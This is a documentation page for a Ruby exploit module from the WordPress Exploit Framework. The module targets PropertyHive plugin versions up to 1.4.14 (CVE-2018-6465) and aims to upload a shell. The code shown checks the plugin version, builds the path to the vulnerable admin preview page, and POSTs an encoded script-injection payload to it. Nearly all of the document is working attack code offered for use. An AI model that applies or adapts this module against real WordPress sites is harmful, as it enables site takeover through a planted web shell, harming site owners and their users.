class Wpxf::Exploit::PropertyHiveReflectedXssShellUpload
Public Class Methods
new()
click to toggle source
Calls superclass method
Wpxf::WordPress::StagedReflectedXss::new
# File lib/wpxf/modules/exploit/xss/reflected/propertyhive_csrf_xss_shell_upload.rb, line 6 def initialize super update_info( name: 'PropertyHive <= 1.4.14 CSRF Reflected XSS Shell Upload', author: [ 'Ricardo Sanchez', # Disclosure 'rastating' # WPXF module ], references: [ ['WPVDB', '9020'], ['CVE', '2018-6465'] ], date: 'Jan 31 2018' ) end
Public Instance Methods
check()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/propertyhive_csrf_xss_shell_upload.rb, line 23 def check check_plugin_version_from_readme('propertyhive', '1.4.15') end
initial_script()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/propertyhive_csrf_xss_shell_upload.rb, line 31 def initial_script create_basic_post_script( vulnerable_url, 'body' => "<script>#{xss_ascii_encoded_include_script}<\\/script>" ) end
vulnerable_url()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/propertyhive_csrf_xss_shell_upload.rb, line 27 def vulnerable_url normalize_uri(wordpress_url_plugins, 'propertyhive', 'includes', 'admin', 'views', 'html-preview-applicant-matches-email.php') end